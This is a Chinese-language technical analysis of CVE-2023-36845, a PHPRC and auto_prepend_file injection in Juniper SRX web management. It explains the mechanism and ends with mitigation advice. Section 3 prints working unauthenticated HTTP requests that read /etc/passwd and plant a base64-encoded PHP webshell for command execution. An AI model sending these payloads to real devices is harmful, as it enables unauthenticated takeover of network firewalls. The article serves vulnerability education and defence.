CVE-2023-36845:Juniper设备中的PHP配置劫持与RCE利用链深度解析

当网络设备厂商的Web管理界面成为攻击入口,其后果往往比普通Web应用漏洞更为严重。2023年曝光的CVE-2023-36845漏洞正是这样一个典型案例,它影响了Juniper Networks的SRX系列防火墙设备,通过精心构造的PHP配置参数,攻击者能够实现从任意文件读取到远程代码执行(RCE)的完整攻击链。本文将深入剖析这一漏洞的技术原理、利用方式以及背后反映的安全设计缺陷。

1. 漏洞背景与影响范围

Juniper Networks的SRX系列防火墙设备内置了名为"Web Device Manager"的Web管理界面,该界面基于PHP开发。在默认配置下,这些设备存在一个关键的安全缺陷:攻击者可以通过HTTP请求直接干预PHP的运行时配置。

受影响的具体型号包括:

  • SRX300系列
  • SRX320系列
  • SRX340系列
  • SRX345系列
  • SRX380系列
  • SRX550M系列

漏洞的核心在于PHP的两个配置参数:

  • PHPRC :用于指定PHP配置文件的位置
  • auto_prepend_file :指定在执行任何PHP脚本前自动包含的文件

攻击者可以通过精心构造的HTTP请求操纵这些参数,最终实现远程代码执行。这种攻击方式不需要任何身份验证,使得漏洞的危险等级被评定为"高危"。

2. PHP配置机制与漏洞原理

要理解这个漏洞,我们需要先了解PHP的几个关键配置机制:

2.1 PHP的配置文件加载机制

PHP在启动时会按照特定顺序查找和加载配置文件(php.ini),这个顺序包括:

  1. 通过 PHPRC 环境变量指定的路径
  2. 预定义的多个默认位置
  3. 当前工作目录

在Web环境中, PHPRC 可以通过环境变量或CGI参数传递。Juniper设备的Web界面未能正确过滤这一参数,导致攻击者可以指定任意的配置文件位置。

2.2 auto_prepend_file的作用

auto_prepend_file 是PHP的一个特殊指令,它指定一个文件路径,PHP会在执行任何脚本前自动包含该文件。这个功能本意是方便开发者实现统一的初始化逻辑,但在此漏洞中被滥用来包含攻击者控制的恶意文件。

2.3 allow_url_include的危险性

另一个关键配置是 allow_url_include ,当这个选项开启时,PHP的包含函数(如include、require)可以加载远程URL的内容。结合 auto_prepend_file ,攻击者可以实现远程代码执行。

3. 漏洞利用链的详细分析

攻击者利用这个漏洞通常分为两个阶段:信息收集和远程代码执行。

3.1 任意文件读取阶段

攻击者首先通过操纵 PHPRC 参数指向一个可控的位置,然后设置 auto_prepend_file 指向系统敏感文件。一个典型的攻击请求如下:

POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: target_ip
Content-Length: 33

auto_prepend_file="/etc/passwd"

这个请求的工作原理:

  1. PHPRC=/dev/fd/0 告诉PHP从标准输入读取配置
  2. POST body中的 auto_prepend_file="/etc/passwd" 成为临时配置文件内容
  3. PHP执行时会先包含 /etc/passwd 文件,将其内容输出

通过这种方式,攻击者可以读取设备上的任意文件,收集系统信息为进一步攻击做准备。

3.2 远程代码执行阶段

获取足够信息后,攻击者可以升级到RCE。这需要两个关键配置:

  1. 开启 allow_url_include
  2. 通过 auto_prepend_file 包含远程恶意代码

典型攻击请求:

POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: target_ip
Content-Length: 92

allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="

这段base64解码后是``,是一个简单的PHP webshell。攻击者现在可以通过URL参数执行任意命令:

http://target_ip/?cmd=id

4. 漏洞背后的安全设计缺陷

CVE-2023-36845反映出的不仅是单个配置问题,而是多层安全设计缺陷:

  1. 过度信任客户端输入 :Web界面直接使用客户端提供的参数影响PHP配置,没有进行任何过滤或验证。

  2. 危险配置默认开启 allow_url_include 这样的高危选项在默认配置中启用,为攻击者提供了便利。

  3. 缺乏深度防御 :没有实施权限最小化原则,Web服务进程通常以高权限运行,加剧了漏洞影响。

  4. 配置固化不足 :关键PHP配置应该在生产环境中锁定,防止运行时修改。

5. 防御建议与缓解措施

对于仍在使用受影响Juniper设备的组织,建议采取以下措施:

  1. 立即应用补丁 :Juniper已发布安全更新,应尽快升级到修复版本。

  2. 网络层防护

    • 限制对Web管理界面的访问,只允许可信IP连接
    • 在网络边界部署WAF,拦截特征明显的攻击请求
  3. 系统加固

    • 禁用不必要的PHP功能(如allow_url_include)
    • 使用PHP的open_basedir限制文件访问范围
    • 降低Web服务进程的权限
  4. 监控与检测

    • 监控异常的文件读取行为
    • 记录和分析Web请求日志,寻找攻击特征

对于安全研究人员,这个案例再次提醒我们:网络设备的Web界面是一个需要特别关注的安全边界,其安全设计应该比普通Web应用更为严格。

更多推荐